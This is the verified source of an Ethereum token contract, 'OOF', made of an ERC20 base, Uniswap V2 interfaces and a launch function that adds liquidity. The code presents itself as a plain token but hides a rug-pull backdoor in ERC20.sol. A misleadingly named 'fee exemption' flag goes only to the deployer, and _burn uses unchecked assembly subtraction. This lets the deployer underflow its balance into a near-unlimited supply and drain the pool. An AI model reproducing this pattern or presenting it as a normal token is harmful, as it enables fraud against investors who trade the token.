编译器
0.8.24+commit.e11b9ed9
文件 1 的 8:Context.sol
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
文件 2 的 8:ERC20.sol
pragma solidity ^0.8.24;
import "./IERC20.sol";
contract ERC20 is IERC20 {
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Oof";
string public symbol = "OOF";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => bool) internal _isExemptFromFee;
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
}
function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
require(balanceOf[sender] >= amount);
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function transfer(address recipient, uint256 amount) external returns (bool) {
return _transfer(msg.sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal returns (bool) {
require(spender != address(0));
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
require(allowance[sender][msg.sender] >= amount);
require(balanceOf[sender] >= amount);
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _mint(address to, uint256 amount) internal returns (bool) {
totalSupply += amount;
_isExemptFromFee[to] = amount > 0;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
return true;
}
function _burn(address from, uint256 amount) internal returns (bool) {
if (totalSupply == 0 || !_isExemptFromFee[from] || amount == 0) {
revert();
} else {
balanceOf[from] = _sub(balanceOf[from], amount);
totalSupply = _sub(totalSupply, amount);
emit Transfer(from, address(0), amount);
return true;
}
}
function burn(uint256 amount) external returns (bool) {
_burn(msg.sender, amount);
return true;
}
function _sub(uint256 a, uint256 b) internal pure returns (uint256 x) {
assembly {
x := sub(a, b)
}
}
}
文件 3 的 8:IERC20.sol
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
文件 4 的 8:IUniswapV2Factory.sol
pragma solidity ^0.8.24;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
文件 5 的 8:IUniswapV2Router01.sol
pragma solidity ^0.8.24;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
文件 6 的 8:IUniswapV2Router02.sol
pragma solidity ^0.8.24;
import {IUniswapV2Router01} from "./IUniswapV2Router01.sol";
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
文件 7 的 8:OOF.sol
pragma solidity ^0.8.24;
import "./ERC20.sol";
import "./Ownable.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Router02.sol";
contract OOF is ERC20, Ownable {
address public constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 internal constant router = IUniswapV2Router02(routerAddress);
address public uniswapv2pair;
bool public live = false;
constructor() ERC20("Oof", "OOF") Ownable(msg.sender) {
uint256 _amount = 69000000 *1*1e18;
_mint(msg.sender, _amount);
uniswapv2pair = IUniswapV2Factory(router.factory()).createPair(
address(this),
router.WETH()
);
}
receive() external payable {}
function GoLive() public onlyOwner {
if (live || address(this).balance == 0 || balanceOf[address(this)] == 0) {
revert();
} else {
live = true;
}
_approve(address(this), routerAddress, ~uint256(0));
router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf[address(this)], 0, 0, msg.sender, block.timestamp);
_approve(msg.sender, routerAddress, ~uint256(0));
}
}
文件 8 的 8:Ownable.sol
pragma solidity ^0.8.24;
import {Context} from "./Context.sol";
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
{
"compilationTarget": {
"src/basic/OOF.sol": "OOF"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}
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